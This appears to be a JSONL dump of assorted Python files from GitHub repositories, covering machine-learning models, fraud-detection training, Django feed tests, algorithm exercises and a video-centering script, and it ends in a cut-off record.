+{"seq_id":"15831379882","text":"#Орёл или Решка? Ваша ставка:\nimport random\nwincnt = 0\ncnt = 0\nrestart =\"\"\ndef Game():\n global wincnt, cnt, restart\n b = random.randint(0, 1)\n if b == 0 and a == \"Орёл\":\n wincnt += 1\n print(\"Верно!\")\n elif b ==1 and a == \"Решка\":\n wincnt += 1\n print(\"Верно!\")\n else:\n print(\"Не повезло!\")\n restart = input('Хотите сыграть еще: ')\n\nrun = True\nrestart = \"Да\"\nwhile run:\n if restart == \"Да\":\n cnt += 1\n a = input(\"Орёл или Решка? Ваша ставка: \")\n Game()\n else:\n run = False\n print(\"Сыгрыно :\", cnt, \"раз. Выиграли\", wincnt, \"раз.\" ) ","repo_name":"justkurama/pp2","sub_path":"Futurum/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"42579889841","text":"import numpy as np\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn import model_selection, metrics, datasets\nfrom neupy import algorithms, layers\n\n\ndef load_data():\n X, y = datasets.fetch_openml('mnist_784', version=1, return_X_y=True)\n X /= 255.\n X -= X.mean(axis=0)\n\n target_scaler = OneHotEncoder(sparse=False, categories='auto')\n y = target_scaler.fit_transform(y.reshape(-1, 1))\n\n return model_selection.train_test_split(\n X.astype(np.float32),\n y.astype(np.float32),\n test_size=(1 / 7.))\n\n\noptimizer = algorithms.Momentum(\n [\n layers.Input(784),\n layers.Relu(500),\n layers.Relu(300),\n layers.Softmax(10),\n ],\n\n # Using categorical cross-entropy as a loss function.\n # It's suitable for classification with 3 and more classes.\n loss='categorical_crossentropy',\n\n # Learning rate\n step=0.01,\n\n # Shows information about algorithm and\n # training progress in terminal\n verbose=True,\n\n # Randomly shuffles training dataset before every epoch\n shuffle_data=True,\n\n momentum=0.99,\n # Activates Nesterov momentum\n nesterov=True,\n)\n\nprint(\"Preparing data...\")\nx_train, x_test, y_train, y_test = load_data()\n\nprint(\"Training...\")\noptimizer.train(x_train, y_train, x_test, y_test, epochs=20)\n\ny_predicted = optimizer.predict(x_test).argmax(axis=1)\ny_test = np.asarray(y_test.argmax(axis=1)).reshape(len(y_test))\n\nprint(metrics.classification_report(y_test, y_predicted))\nscore = metrics.accuracy_score(y_test, y_predicted)\nprint(\"Validation accuracy: {:.2%}\".format(score))\n","repo_name":"itdxer/neupy","sub_path":"examples/mlp/mnist_mlp.py","file_name":"mnist_mlp.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":739,"dataset":"github-code","pt":"38"} +{"seq_id":"13751463818","text":"import torch.nn as nn\r\n\r\n\r\n# 相比于Pytorchvision 加入了LRN层\r\nclass AlexNet(nn.Module):\r\n def __init__(self, num_class=1000):\r\n super(AlexNet, self).__init__()\r\n # input 224x224 3\r\n self.conv1 = nn.Conv2d(in_channels=3, out_channels=96, kernel_size=11, stride=4, padding=2)\r\n self.pool1 = nn.MaxPool2d(kernel_size=3, stride=2)\r\n self.conv2 = nn.Conv2d(in_channels=96, out_channels=256, kernel_size=5, stride=1, padding=2)\r\n self.pool2 = nn.MaxPool2d(kernel_size=3, stride=2)\r\n self.conv3 = nn.Conv2d(in_channels=256, out_channels=384, kernel_size=3, stride=1, padding=1)\r\n self.conv4 = nn.Conv2d(in_channels=384, out_channels=384, kernel_size=3, stride=1, padding=1)\r\n self.conv5 = nn.Conv2d(in_channels=384, out_channels=256, kernel_size=3, stride=1, padding=1)\r\n self.pool3 = nn.MaxPool2d(kernel_size=3, stride=2)\r\n self.fc1 = nn.Linear(in_features=6*6*256, out_features=4096)\r\n self.fc2 = nn.Linear(in_features=4096, out_features=4096)\r\n self.fc3 = nn.Linear(in_features=4096, out_features=num_class)\r\n self.relu = nn.ReLU(inplace=True)\r\n self.lrn = nn.LocalResponseNorm(size=5)\r\n self.dropout = nn.Dropout(p=0.5)\r\n\r\n def forward(self, x):\r\n x = self.pool1(self.lrn(self.relu(self.conv1(x))))\r\n x = self.pool2(self.lrn(self.relu(self.conv2(x))))\r\n x = self.relu(self.conv3(x))\r\n x = self.relu(self.conv4(x))\r\n x = self.relu(self.conv5(x))\r\n x = self.pool3(x)\r\n x = x.view(x.size(0), -1)\r\n x = self.dropout(self.relu(self.fc1(x)))\r\n x = self.dropout(self.relu(self.fc2(x)))\r\n x = self.relu(self.fc3(x))\r\n return x\r\n\r\n\r\ndef alexnet(num_class):\r\n return AlexNet(num_class=num_class)\r\n","repo_name":"LouisChenki/CNNs-Pytorch","sub_path":"models/AlexNet.py","file_name":"AlexNet.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"74615587949","text":"'''\nThis code is due to Hengrui Zhang (@hengruizhang98) and UIC BDSC Lab\nDGFraud (A Deep Graph-based Toolbox for Fraud Detection)\nhttps://github.com/safe-graph/DGFraud\n'''\nimport numpy as np\nimport pandas as pd \nimport os\nfrom time import time\nimport random\nimport tensorflow as tf\nimport scipy.sparse as sp\nfrom sklearn import metrics\nfrom parse import parse_args\nfrom get_data import Data\nfrom model import Model\n\n\ndef calc_f1(y_true, y_pred):\n \n y_true = np.argmax(y_true, axis=1)\n y_pred = np.argmax(y_pred, axis=1)\n\n return metrics.f1_score(y_true, y_pred, average=\"micro\"), metrics.f1_score(y_true, y_pred, average=\"macro\")\n\ndef cal_acc(y_true, y_pred):\n y_true = np.argmax(y_true, axis=1)\n y_pred = np.argmax(y_pred, axis=1)\n\n return metrics.accuracy_score(y_true, y_pred)\n\n # a = 0\n # b = 0\n # for i in range(len(y_true)):\n # if y_true[i] == y_pred[i]:\n # a+=1\n # b+=1\n # return a/b\n\n \n# def calc_auc(y_true, y_pred):\n# return metrics.roc_auc_score(y_true, y_pred)\n\n\nif __name__ == '__main__':\n \n args = parse_args()\n \n if args.dataset == 'dblp':\n path = \"../../dataset/DBLP4057_GAT_with_idx_tra200_val_800.mat\"\n save_path = \"../HACUD/dblp\"\n \n data_generator = Data(path=path, save_path = save_path)\n \n X_train = data_generator.X_train\n X_test = data_generator.X_test\n \n y_train = data_generator.y_train\n y_test = data_generator.y_test\n \n os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(args.gpu) \n \n config = dict()\n config['n_nodes'] = data_generator.n_nodes\n config['n_metapath'] = data_generator.n_metapath\n config['n_class'] = y_train.shape[1]\n\n plain_adj, norm_adj, mean_adj = data_generator.get_adj_mat()\n \n features = data_generator.features\n \n config['features'] = features\n\n if args.adj_type == 'plain':\n config['norm_adj'] = plain_adj\n print('use the plain adjacency matrix')\n\n elif args.adj_type == 'norm':\n config['norm_adj'] = norm_adj\n print('use the normalized adjacency matrix')\n\n else:\n config['norm_adj'] = []\n for i in range(args.n_metapath): \n config['norm_adj'].append(mean_adj[i] + sp.eye(mean_adj[i].shape[0]))\n print('use the mean adjacency matrix')\n\n t0 = time()\n\n pretrain_data = None\n \n model = Model(data_config=config, pretrain_data=pretrain_data, args = args)\n\n\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n \n\n with tf.Session(config=config) as sess:\n \n sess.run(tf.global_variables_initializer())\n cur_best_pre_0 = 0.\n print('without pretraining.')\n \n ''' Train '''\n loss_loger, pre_loger, rec_loger, ndcg_loger, hit_loger, auc_loger = [], [], [], [], [], []\n stopping_step = 0\n should_stop = False\n \n for epoch in range(args.epoch):\n t1 = time()\n loss, ce_loss = 0., 0.\n n_batch = (data_generator.n_train-1) // args.batch_size + 1\n \n for idx in range(n_batch):\n if idx == n_batch - 1 :\n nodes = X_train[idx*args.batch_size:]\n labels = y_train[idx*args.batch_size:]\n else:\n nodes = X_train[idx*int(args.batch_size):(idx+1)*int(args.batch_size)]\n labels= y_train[idx*int(args.batch_size):(idx+1)*int(args.batch_size)]\n \n batch_loss, batch_ce_loss, reg_loss = model.train(sess, nodes, labels)\n \n loss += batch_loss\n ce_loss += batch_ce_loss\n \n test_nodes = X_test\n test_label = y_test\n \n test_loss, test_ce_loss, test_reg_loss, pred_label = model.eval(sess, test_nodes, test_label)\n \n f1_scores = calc_f1(test_label, pred_label)\n acc = cal_acc(test_label, pred_label)\n\n # auc_score = calc_auc(pred_label, test_label)\n\n val_f1_mic, val_f1_mac = f1_scores[0], f1_scores[1]\n\n if np.isnan(loss) == True:\n \n print('ERROR: loss is nan.')\n print('ce_loss =%s' % ce_loss)\n sys.exit()\n \n log1 = 'Epoch {} Train: {:.4f} CE: {:.4f} Reg: {:.4f} Test: {:.4f} F1_mic: {:.4f} F1_mac: {:.4f} Accuracy: {:.4f}'.\\\n\t\t\t\tformat(epoch, loss, ce_loss, reg_loss, test_loss, val_f1_mic, val_f1_mac, acc)\n\n print(log1)\n","repo_name":"safe-graph/DGFraud","sub_path":"algorithms/HACUD/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4495,"program_lang":"python","lang":"en","doc_type":"code","stars":623,"dataset":"github-code","pt":"38"} +{"seq_id":"16825044294","text":"import numpy as np\r\nfrom ml_models.pgm import HMM\r\n\r\npi = np.asarray([[0.2], [0.4], [0.4]])\r\nA = np.asarray([[0.5, 0.2, 0.3],\r\n [0.3, 0.5, 0.2],\r\n [0.2, 0.3, 0.5]])\r\nB = np.asarray([[0.5, 0.5],\r\n [0.4, 0.6],\r\n [0.7, 0.3]])\r\n\r\nhmm = HMM(hidden_status_num=3, visible_status_num=2)\r\nhmm.pi = pi\r\nhmm.A = A\r\nhmm.B = B\r\nprint(hmm.predict_hidden_status([0, 1, 0]))\r\n","repo_name":"zhulei227/ML_Notes","sub_path":"tests/hidden_markov_model_test3.py","file_name":"hidden_markov_model_test3.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":1807,"dataset":"github-code","pt":"38"} +{"seq_id":"24983491498","text":"from datetime import datetime\nfrom time import struct_time\n\nimport vcr\nfrom feedparser.util import FeedParserDict\n\nfrom feeds.models import FeedCategory, FeedItemCategory, FeedSubscription\nfrom feeds.utils.feedupdater import (\n BaseFeedUpdater,\n FeedItemUpdater,\n FeedUpdater,\n FeedUpdaterDoesntExistError,\n FeedUpdaterInvalidRSSError\n)\nfrom rss.tests import BaseTestCase\n\n\nclass BaseFeedUpdaterTestCase(BaseTestCase):\n # get_pub_date tests\n def test__get_pub_date__return_none__if_no_date(self) -> None:\n pub_date = BaseFeedUpdater.get_pub_date({})\n\n self.assertIsNone(pub_date)\n\n def test__get_pub_date__return_date__if_date_is_tuple(self) -> None:\n data = {\n 'published_parsed': (2000, 11, 30, 0, 0, 0, 3, 335, 1)\n }\n\n pub_date = BaseFeedUpdater.get_pub_date(data)\n\n self.assertIsNotNone(pub_date)\n self.assertEqual(datetime(2000, 11, 30), pub_date)\n\n def test__get_pub_date__return_date__if_date_is_struct_time(self) -> None:\n data = {\n 'published_parsed': struct_time((2000, 11, 30, 0, 0, 0, 3, 335, 1))\n }\n\n pub_date = BaseFeedUpdater.get_pub_date(data)\n\n self.assertIsNotNone(pub_date)\n self.assertEqual(datetime(2000, 11, 30), pub_date)\n\n\nclass FeedItemUpdaterTestCase(BaseTestCase):\n def setUp(self) -> None:\n \"\"\"\n Set self.user before tests.\n \"\"\"\n self.set_user()\n self.set_feed_subscription()\n self.set_feed()\n self.set_feed_item()\n\n # _get_feed tests\n def test__get_feed__raise__if_not_exists(self) -> None:\n with self.assertRaises(FeedUpdaterDoesntExistError):\n FeedItemUpdater._get_feed(0)\n\n def test__get_feed__return_feed__if_exists(self) -> None:\n feed = FeedItemUpdater._get_feed(self.feed.id)\n\n self.assertEqual(feed.id, self.feed.id)\n\n # _update_feed_item tests\n def test__update_feed_item__create__if_not_exists(self) -> None:\n title = 'test2'\n data = {\n 'title': title\n }\n\n feed_item = FeedItemUpdater._update_feed_item(self.feed, data)\n\n self.assertNotEqual(feed_item.id, self.feed_item.id)\n self.assertEqual(feed_item.title, title)\n\n def test__update_feed_item__update__if_guid_exists(self) -> None:\n title = 'test2'\n data = {\n 'id': self.feed_item.guid,\n 'title': 'test2'\n }\n\n FeedItemUpdater._update_feed_item(self.feed, data)\n self.feed_item.refresh_from_db()\n\n self.assertEqual(self.feed_item.title, title)\n\n def test__update_feed_item__update__if_title_exists(self) -> None:\n link = 'link'\n data = {\n 'link': link,\n 'title': self.feed_item.title\n }\n\n FeedItemUpdater._update_feed_item(self.feed, data)\n self.feed_item.refresh_from_db()\n\n self.assertEqual(self.feed_item.link, link)\n\n # _update_categories tests\n def test__update_categories__replace_old_categories_with_new(self) -> None:\n FeedItemCategory.objects.create(\n item=self.feed_item,\n keyword='old_keyword'\n )\n new_keyword = 'keyword'\n data = {\n 'tags': [{\n 'term': 'keyword',\n }]\n }\n\n FeedItemUpdater._update_categories(self.feed_item, data)\n\n category_count = FeedItemCategory.objects.filter(\n item=self.feed_item\n ).count()\n self.assertEqual(category_count, 1)\n feed_item_category = FeedItemCategory.objects.filter(\n item=self.feed_item\n ).first()\n self.assertEqual(feed_item_category.keyword, new_keyword)\n\n # update tests\n def test__update__return_feed_item__on_valid_data(self) -> None:\n data = {\n 'title': self.feed_item.title\n }\n\n feed_item = FeedItemUpdater.update(self.feed.id, data)\n\n self.assertEqual(self.feed_item.id, feed_item.id)\n\n\nclass FeedUpdaterTestCase(BaseTestCase):\n def setUp(self) -> None:\n \"\"\"\n Set self.user before tests.\n \"\"\"\n self.set_user()\n self.set_feed_subscription()\n self.set_feed()\n\n # _get_feed_subscription tests\n def test__get_feed_subscription__raise__if_not_exists(self) -> None:\n with self.assertRaises(FeedUpdaterDoesntExistError):\n FeedUpdater._get_feed_subscription(0)\n\n def test__get_feed_subscription__return__if_exists(self) -> None:\n feed_subscription = FeedUpdater._get_feed_subscription(\n self.feed_subscription.id\n )\n self.assertEqual(feed_subscription.id, self.feed_subscription.id)\n\n # _get_feed_data tests\n def test__get_feed_data__raise_exception__on_invalid_url(self) -> None:\n with self.assertRaises(FeedUpdaterInvalidRSSError):\n FeedUpdater._get_feed_data('invalid_url')\n\n @vcr.use_cassette(\n 'feeds/tests/vcr_cassettes/'\n 'test__get_feed_data__raise_exception__on_not_rss_url.yaml'\n )\n def test__get_feed_data__raise_exception__on_not_rss_url(self) -> None:\n with self.assertRaises(FeedUpdaterInvalidRSSError):\n FeedUpdater._get_feed_data('https://www.google.com/')\n\n @vcr.use_cassette(\n 'feeds/tests/vcr_cassettes/'\n 'test__get_feed_data__dont_raise_exception__on_valid_url.yaml'\n )\n def test__get_feed_data__dont_raise_exception__on_valid_url(self) -> None:\n try:\n FeedUpdater._get_feed_data('http://www.nu.nl/rss/Algemeen')\n except FeedUpdaterInvalidRSSError:\n self.fail(\n 'clean() raised FeedUpdaterInvalidRSSError unexpectedly.'\n )\n\n # _update_categories tests\n def test__update_categories__replace_old_categories_with_new(self) -> None:\n FeedCategory.objects.create(\n feed=self.feed,\n keyword='old_keyword'\n )\n new_keyword = 'keyword'\n feed_data = FeedParserDict({\n 'feed': {\n 'tags': [{\n 'term': 'keyword',\n }]\n }\n })\n\n FeedUpdater._update_categories(self.feed, feed_data)\n\n category_count = FeedCategory.objects.filter(feed=self.feed).count()\n self.assertEqual(category_count, 1)\n feed_category = FeedCategory.objects.filter(feed=self.feed).first()\n self.assertEqual(feed_category.keyword, new_keyword)\n\n # _update_feed tests\n def test__update_feed__creates_feed__if_relation_is_missing(self) -> None:\n self.feed.delete()\n title = 'test2'\n data = FeedParserDict({\n 'feed': {\n 'title': title\n }\n })\n\n FeedUpdater._update_feed(self.feed_subscription, data)\n\n self.assertEqual(self.feed_subscription.feed.title, title)\n\n def test__update_feed__updates_feed__if_relation_exists(self) -> None:\n title = 'test2'\n data = FeedParserDict({\n 'feed': {\n 'title': title\n }\n })\n\n FeedUpdater._update_feed(self.feed_subscription, data)\n self.feed.refresh_from_db()\n\n self.assertEqual(self.feed.title, title)\n\n # update tests\n @vcr.use_cassette(\n 'feeds/tests/vcr_cassettes/'\n 'test__update__save_and_return_data__on_valid_rss.yaml'\n )\n def test__update__save_and_return_data__on_valid_rss(self) -> None:\n feed_subscription = FeedSubscription.objects.create(\n owner=self.user,\n url='http://www.nu.nl/rss/Algemeen'\n )\n\n feed, feed_data = FeedUpdater.update(feed_subscription.id)\n\n self.assertIsNotNone(feed.id)\n self.assertTrue(bool(feed_data))\n\n @vcr.use_cassette(\n 'feeds/tests/vcr_cassettes/'\n 'test__update__fail__on_invalid_rss.yaml'\n )\n def test__update__fail__on_invalid_rss(self) -> None:\n feed_subscription = FeedSubscription.objects.create(\n owner=self.user,\n url='https://www.google.com/'\n )\n\n with self.assertRaises(FeedUpdaterInvalidRSSError):\n FeedUpdater.update(feed_subscription.id)\n\n feed_subscription.refresh_from_db()\n self.assertEqual(feed_subscription.retries, 1)\n","repo_name":"stalavitski/sendcloud-test","sub_path":"feeds/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":8225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"17689007800","text":"from django.urls import include, path\nfrom rest_framework import routers\nfrom music.views import SongViewSet\n\nrouter = routers.DefaultRouter()\nrouter.register(r'music', SongViewSet)\n\n# Wire up our API using automatic URL routing.\n# Additionally, we include login URLs for the browsable API.\nurlpatterns = [\n\tpath('', include(router.urls)),\n path('music/', include(router.urls)),\n path('api-auth/', include('rest_framework.urls', namespace='rest_framework'))\n]\n# The REST Framework router will make sure our requests end up at the right resource dynamically. \n# If we add or delete items from the database, the URLs will update to match. Cool right?","repo_name":"bdockbockd/testDjangoVueIntegration","sub_path":"testapi/testapi/routers.py","file_name":"routers.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32813866361","text":"import sys\nsys.setrecursionlimit(100005)\nsi = sys.stdin.readline\n\ndx = [0, 0, 1, -1, 1, -1, 1, -1]\ndy = [-1, 1, 0, 0, 1, 1, -1, -1]\n\ndef dfs(x, y):\n for i in range(8):\n if 0 <= x + dx[i] < h and 0 <= y + dy[i] < w:\n if maps[x + dx[i]][y + dy[i]]:\n maps[x + dx[i]][y + dy[i]] = 0\n dfs(x + dx[i], y + dy[i])\n\nwhile True:\n w, h = map(int, si().split())\n if w == 0 and h == 0:\n break\n maps = []\n for _ in range(h):\n maps.append(list(map(int, si().split())))\n ans = 0\n for x in range(h):\n for y in range(w):\n if maps[x][y]:\n dfs(x, y)\n ans += 1\n print(ans)","repo_name":"41ow1ives/1day2solve","sub_path":"victolee0/acmicpc/그래프/4963_섬의개수.py","file_name":"4963_섬의개수.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"24302770854","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def sortList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n def mergeSort(l1, l2):\n if l1 is None or l2 is None:\n return l1 or l2 # 둘 중 하나가 None이면, None이 아닌 것이 return. 둘 다 None이 아니면, 먼저 것 (l1)이 return.\n \n head = pointer = ListNode()\n\n while l1 and l2:\n if l1.val < l2.val:\n pointer.next, l1 = l1, l1.next\n else:\n pointer.next, l2 = l2, l2.next\n \n pointer = pointer.next\n\n pointer.next = l1 or l2\n\n return head.next\n\n\n if head is None or head.next is None:\n return head\n\n slow = fast = head\n\n while fast and fast.next:\n half, slow, fast = slow, slow.next, fast.next.next\n\n half.next = None # linked list를 두개로 나눔\n\n l1 = self.sortList(head)\n l2 = self.sortList(slow)\n\n return mergeSort(l1, l2)\n \n\n \n \n","repo_name":"jdjin3000/JustCodeIt","sub_path":"sorting/sort-list_DJ-1.py","file_name":"sort-list_DJ-1.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"19085604783","text":"class Cat:\n\n def __init__(self, name):\n self.name = name\n self.fed = False\n self.sleepy = False\n self.size = 0\n\n def eat(self):\n if self.fed:\n raise Exception('Already fed.')\n\n self.fed = True\n self.sleepy = True\n self.size += 1\n\n def sleep(self):\n if not self.fed:\n raise Exception('Cannot sleep while hungry.')\n\n self.sleepy = False\n\n\nfrom unittest import TestCase, main\n\n\nclass CatTests(TestCase):\n\n def test_check_if_cat_gained_weight_after_eating(self):\n #arrange\n cat = Cat(\"Sam\")\n self.assertEqual(0, cat.size)\n #act\n cat.eat()\n #assert\n self.assertEqual(1, cat.size)\n\n def test_if_cat_is_fed_after_eating(self):\n #arrange\n cat = Cat(\"Sam\")\n self.assertFalse(cat.fed)\n #act\n cat.eat()\n #assert\n self.assertTrue(cat.fed)\n\n def test_if_cat_cannot_eat_after_fed_raises(self):\n #arrange\n cat = Cat(\"Sam\")\n #act\n cat.eat()\n #assert\n with self.assertRaises(Exception) as ex:\n cat.eat()\n self.assertEqual(\"Already fed.\", str(ex.exception))\n\n def test_cat_cannot_fall_asleep_if_not_fed_raises(self):\n #arrange\n cat = Cat(\"Sam\")\n #act\n\n #assert\n with self.assertRaises(Exception) as ex:\n cat.sleep()\n self.assertEqual(\"Cannot sleep while hungry\", str(ex.exception))\n\n def test_cat_not_sleepy_after_sleeping(self):\n #arrange\n cat = Cat(\"Sam\")\n #act\n cat.eat()\n self.assertTrue(cat.sleepy)\n cat.sleep()\n #assert\n self.assertFalse(cat.sleepy)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"SamPav97/Python-OOP-Exercises","sub_path":"10. Testing - Exercise/02 Test Cat.py","file_name":"02 Test Cat.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72169128750","text":"t = int(input())\nfor _ in range(t):\n n, k = list(map(int, input().split()))\n a = list(map(int, input().split()))\n res = 0\n\n data = []\n for i in range(1, n):\n data.append((i, abs(a[i]-a[i-1])))\n\n data.sort(key=lambda x: -x[1])\n splitData = [0]\n for i in range(k-1):\n splitData.append(data[i][0])\n splitData.append(n)\n print(splitData)\n for i in range(0, len(splitData)-1):\n temp = []\n for j in range(splitData[i], splitData[i+1]):\n temp.append(a[j])\n print(temp)\n","repo_name":"tranductri2003/Competitive_Programming","sub_path":"CODEFORCES/Contest/Codeforces Round 882 (Div. 2)/A_The_Man_who_became_a_God.py","file_name":"A_The_Man_who_became_a_God.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"20327279101","text":"# Date: 2020-09-22\n#\n# Dessciption:\n# Print level order traversal of binary tree\n#\n# Approach:\n# Find height of tree and traverse recursively printing left and right node\n# for each level starting from top(level 1)\n#\n# Complexity:\n# Time: Worst case would be O(n^2), in case of skewed tree\n# Space: O(1)\n#\n# Refer: Level-2/level_order_tree_traversal_using_queue.c\n\n\nclass Node:\n def __init__(self, v):\n self.data = v\n self.left = None\n self.right = None\n\n\ndef get_tree_height(root):\n if root is None:\n return 0\n return 1 + max(get_tree_height(root.left), get_tree_height(root.right))\n\n\ndef level_order_traversal(root):\n height = get_tree_height(root)\n print('Height of tree: %d' % height)\n for h in range(height):\n print_given_level(root, h)\n print()\n\n\ndef print_given_level(root, height):\n if root is None:\n return\n if not height:\n print(root.data, end=' ')\n return\n print_given_level(root.left, height - 1)\n print_given_level(root.right, height - 1)\n\n\ndef main():\n root = Node(1);\n root.left = Node(2);\n root.right = Node(3);\n\n root.left.left = Node(4);\n root.left.right = Node(5);\n\n root.left.left.left = Node(6);\n\n level_order_traversal(root)\n\n\nif __name__ == '__main__':\n main()\n\n# Output\n# -----------------\n# Height of tree: 4\n# 1 2 3 4 5 6\n","repo_name":"hansrajdas/algorithms","sub_path":"Level-2/level_order_tree_traversal.py","file_name":"level_order_tree_traversal.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"38"} +{"seq_id":"1239378049","text":"\"\"\"Re-render videos as image stacks centered around colony centroid. Currently does not\nadjust for rotation of the colony (only translation).\n\"\"\"\nimport argparse\nimport imageio as iio\nimport numpy as np\nimport pandas as pd\nimport pathlib\nimport skimage\nfrom tqdm import tqdm\n\n\ndef center_frames(\n path_video: str,\n path_csv: str,\n path_output: str = \"./output/\",\n bottom_pad: int = 0,\n fill: int = 255,\n rotate: bool = False,\n vertical: bool = False,\n):\n \"\"\"Create an image stack, with each image centered around the colony centroid.\n\n Args:\n path_video (str): Path to input video\n path_csv (str): Path to colony data csv\n path_output (str): Path to output dir for image stack. Defaults to \"./output/\".\n bottom_pad (int, optional): Remove bottom pixels. Defaults to 0.\n fill (int, optional): Color value to fill empty background. Defaults to 255.\n rotate (bool, optional): Rotate image based on orientation. Defaults to False.\n vertical (bool, optional): Rotate colony to be vertical. Defaults to False.\n \"\"\"\n df = pd.read_csv(path_csv, index_col=0)\n reader = iio.get_reader(path_video)\n (frame_w, frame_l) = reader.get_meta_data()[\"source_size\"]\n frame_l = frame_l - bottom_pad\n # img_blank = np.uint8(fill) * np.ones([frame_l, frame_w, 3], dtype=np.uint8)\n center_x_frame = int(round(frame_w) / 2)\n center_y_frame = int(round(frame_l) / 2)\n pathlib.Path(path_output).mkdir(exist_ok=True)\n\n dt = df.loc[df.index[1], \"timestamp_s\"] - df.loc[df.index[0], \"timestamp_s\"]\n if vertical:\n tilt = -df.loc[df.index[0], \"orientation_rad\"] * 180 / np.pi # vertical colony\n else:\n tilt = 0.0 # don't rotate first frame.\n\n for idx, img in tqdm(enumerate(reader), total=df.shape[0]):\n if idx in df.index:\n if rotate:\n tilt -= df.loc[idx, \"rotation_rad_s\"] * dt * 180 / np.pi\n img_cropped = img[:(-bottom_pad), :, :]\n centroid_x = int(round(df.loc[idx][\"centroid_x_px\"]))\n centroid_y = int(round(df.loc[idx][\"centroid_y_px\"]))\n x_diff = centroid_x - center_x_frame\n y_diff = centroid_y - center_y_frame\n img_centered = recenter_img(img_cropped, x_diff, y_diff, fill, tilt)\n path_img_out = pathlib.PurePath(path_output, f\"{idx:04}.tif\")\n iio.imwrite(str(path_img_out), img_centered)\n if idx >= max(df.index):\n break\n\n\ndef recenter_img(\n img: np.ndarray,\n x_diff: int,\n y_diff: int,\n fill: int = 255,\n tilt: float = 0.0,\n) -> np.ndarray:\n \"\"\"Recenter and optionally rotate a single image.\n\n Args:\n img (np.ndarray): input image.\n x_diff (int): x coordinate colony centroid - frame center in pixels.\n y_diff (int): y coordinate colony centroid - frame center in pixels.\n fill (int, optional): Color value to fill empty background. Defaults to 255.\n tilt (float, optional): Tilt angle to rotate image if not 0.. Defaults to 0..\n\n Returns:\n np.ndarray: recentered image.\n \"\"\"\n if len(img.shape) > 2:\n img = img[:, :, 0]\n frame_l = img.shape[0]\n frame_w = img.shape[1]\n if x_diff > 0:\n x_min_img = x_diff\n x_max_img = frame_w\n x_min_blank = 0\n x_max_blank = frame_w - x_diff\n else:\n x_min_img = 0\n x_max_img = frame_w + x_diff\n x_min_blank = -x_diff\n x_max_blank = frame_w\n if y_diff > 0:\n y_min_img = y_diff\n y_max_img = frame_l\n y_min_blank = 0\n y_max_blank = frame_l - y_diff\n else:\n y_min_img = 0\n y_max_img = frame_l + y_diff\n y_min_blank = -y_diff\n y_max_blank = frame_l\n\n img_centered = np.uint8(fill) * np.ones([frame_l, frame_w], dtype=np.uint8)\n img_centered[y_min_blank:y_max_blank, x_min_blank:x_max_blank] = img[\n y_min_img:y_max_img, x_min_img:x_max_img\n ]\n\n if tilt:\n img_centered = np.uint8(\n skimage.transform.rotate(\n img_centered,\n tilt,\n mode=\"constant\",\n cval=fill,\n preserve_range=True,\n )\n )\n return img_centered\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description=\"Create new image stack centered on colony from original video\"\n )\n parser.add_argument(\n \"--video_in\",\n \"-v\",\n help=\"input path to video\",\n type=str,\n )\n parser.add_argument(\n \"--csv_in\",\n \"-c\",\n help=\"Input path to csv with colony data\",\n type=str,\n )\n parser.add_argument(\n \"--output\",\n \"-o\",\n default=\"./output/\",\n help=\"Path to output directory. Defaults to ./output/\",\n type=str,\n required=False,\n )\n parser.add_argument(\n \"--bottom_pad\",\n \"-b\",\n default=0,\n help=\"number of pad pixels on bottom of video to remove. Defaults to 0\",\n type=int,\n required=False,\n )\n parser.add_argument(\n \"--fill\",\n \"-f\",\n default=255,\n help=\"grayscale value to fill background of centered images. Defaults to 255\",\n type=int,\n required=False,\n )\n parser.add_argument(\n \"--rotate\",\n \"-r\",\n action=\"store_true\",\n help=\"rotate images based on changes in colony orientation if flag is present.\",\n required=False,\n )\n parser.add_argument(\n \"--vertical\",\n \"-vt\",\n action=\"store_true\",\n help=\"rotate images based on changes in colony orientation if flag is present.\",\n required=False,\n )\n\n args = parser.parse_args()\n center_frames(\n args.video_in,\n args.csv_in,\n path_output=args.output,\n bottom_pad=args.bottom_pad,\n fill=args.fill,\n rotate=args.rotate,\n vertical=args.vertical,\n )\n","repo_name":"tomhata/choanotrack","sub_path":"choanotrack/centerize.py","file_name":"centerize.py","file_ext":"py","file_size_in_byte":5936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"5893691458","text":"import os\nfrom ert.ecl import EclSum\nfrom ert.enkf import AnalysisConfig, EclConfig, GenKwConfig, EnkfConfigNode, SiteConfig, ObsVector\nfrom ert.enkf import GenDataConfig, FieldConfig, EnkfFs, EnkfObs, EnKFState, EnsembleConfig\nfrom 